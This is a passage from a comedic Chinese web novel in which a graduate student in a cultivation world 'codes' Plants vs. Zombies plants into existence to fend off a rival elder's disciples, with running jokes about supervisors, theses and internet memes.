席锦有些心虚。
但突然,导师喊道:“小心。”
——原来,有几个谢堡黄长老的弟子发现他们,正蹒跚着朝他们走来。
这几个弟子看起来功力非凡,有的拿着梯子,有的头戴铁桶,还有的人高马大,手拿一只大锤,三下五除二就锤烂了面前的菜地,将不知哪位倒霉鬼的毕业设计毁于一旦。
小修士脸色一变,“不好,谢堡黄长老为了能评上院士,要让光强长老的学生们延毕了!”
说罢,他就要跑。
看起来,谢堡黄长老作威作福,从他本人到他的学生,确实都不好对付。
导师一听这话,正义感爆棚,一甩衣袖,就要开口和那群不讲理的弟子讲理。
谁知此刻,席锦码出来的萝卜变异了。
它仿佛有了生命,弹走了那群坏蛋们扔来的石子,挺起胸脯,保护着周围的菜地。
席锦的目光在萝卜身上转了一圈,又看向谢堡黄长老的弟子们,觉得十分眼熟。
她打开代码界面疯狂敲击起来。
【图片搜索】——【向日葵】——【豌豆射手】——【高坚果】——【火炬树桩】——【寒冰射手】......
地面上变出了越来越多的植物。
它们虽然都是2D模式,却似乎有穿透维度的力量。
只见那豌豆射手的豌豆,变成了圆圆的、薄薄的飞刃,一刀刀割在赶来的弟子上!
而高坚果,更是像一堵巨大的墙,直直竖在了弟子们面前。
见到此情此景,导师终于觉出匪夷所思。
这都是些什么玩意?
他疑惑地打量席锦,无数猜测从脑海中闪过,但都被他否定了。
或许是席锦在撰写编码时,神情认真,看起来确实像在操纵什么仙门术法。
又或许是他还没玩够,害怕他的学生会追问他“老师我的论文有没有问题”,干脆假装没认出来。
总之他看着这植物大战僵尸的场面,一言没发。
倒是那修士,眼睛瞬间亮了起来,“wok!!!”
“我的植物,活了?”
席家的祖传秘术……竟恐怖如斯!
此地既然归属光强长老的学生,赶来刺杀二人的谢堡黄长老弟子并不多。
植物们逼退弟子后,小修士感动得几乎要给席锦跪下。
“姐!你快教我术法吧!”他仿佛看见了
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神仙下凡,“能让植物活过来——这研究都能发Nature了!”
“光强长老砍了一辈子的树,就是希望把木头人变成真人。你们要是有这能力,还怕什么谢堡黄长老。”小修士激动道,“我带你们去见光强长老,去不去?”
可惜,他们并没有找到光强长老。
他大概是砍树去了。
也有可能是去照看自己的弟子。
听说,光强长老这一届带了一个研究生,叫小熊熊。他对此人十分器重,大有让其传承衣钵之意。
席锦和导师都十分感慨。
能找到方向适配的学生太少见了。
席锦有位同学是gay,立志要研究同性恋社群,还打算带着老师去实地调研。
他的导师大惊失色许久,诚挚地建议说:“我怀疑我带不了你,你要不要换个导师?”
席锦和她的导师费误也各有各的方向。导师是理工科出身,研究智能仿真,被海纳百川的新传学科给海纳了进来。
而席锦,纯粹是因为写了个科幻小说,怀揣着学科即将嬗变的伟大使命,选择了这个导。
如果不是因为她高考数学和葛军过招,她都怀疑自己能不能看懂这一群量化公式。
“你们可以去找小熊熊。”年轻修士道,“他住的地方就在这座山上。”
他给二人指了路,二人道了谢。
席锦问:“你的名字?”
年轻修士愣了一下,“韦一敏?”
“啊?”席锦也愣了一下,“你叫韦一敏?”
“我不叫韦一敏。”修士迟疑地看了席锦一眼,小心翼翼问,“你叫王子斌?”
“她不叫王子斌。”导师适时插话,“她是数学王子秦老师。”
年轻修士:“!!!”
席锦在短暂错愕后也突然:“!!!”
原来,韦一敏效应已经传到修仙界了吗。
这个修仙界,已不再是靠“奇变偶不变”对暗号的修仙界了,靠得是韦一敏!
年轻修士应该也是现实中的人。至于是谁,无从考知。
毕竟席锦出身于纯粹的人文社科学校,学校内有不少人种地,有不少人偷菜,但是拿种地当毕设的还真没有。
年轻修士热泪盈眶,“这个暗号,是我爷爷传给我的。”
“爷爷说,对上暗号的人,就是他的老乡——我终于找到他的老乡了!”
“那你呢?”席锦问。
“我是这个世界土生土长的人。”年轻修士道,“我叫罗卜头,这是我爷爷毕生想要研究出来的东西,叫做评论萝卜特。”
“他说这种植物可以把人气死,但我还没研究出该怎么把人气死。”
——原来他不是现实世界的人啊,难怪不认识植物大战僵尸。
但韦一敏效应居然是爷爷辈的事情了吗?
这时间线未免有些离谱。
可离谱的事情有那么多,席锦也不指望找什么逻辑。这篇小说的作者,反正不知道是有什么大病,脑回路已经无法用正常人的标准衡量。
“那你们叫什么?”修士问着,“数学王子秦老师......你是秦老师?”
席锦“哈哈”笑了两声,“你想这么理解也没问题。”
“那你呢?”他又看向导师。
仿佛是一件值得认真严肃对待的事情一般——
导师忽然挺胸抬头,看着天空,目光灼灼,带着十足的中二,轻飘飘道:“你真的想知道我的名字吗?”
“纵使我说过那么多次,还是会有人误解,觉得我的名字杀伤力太大。”
“你要知道,当我自报家门时,不是在骂你。”
“费误。”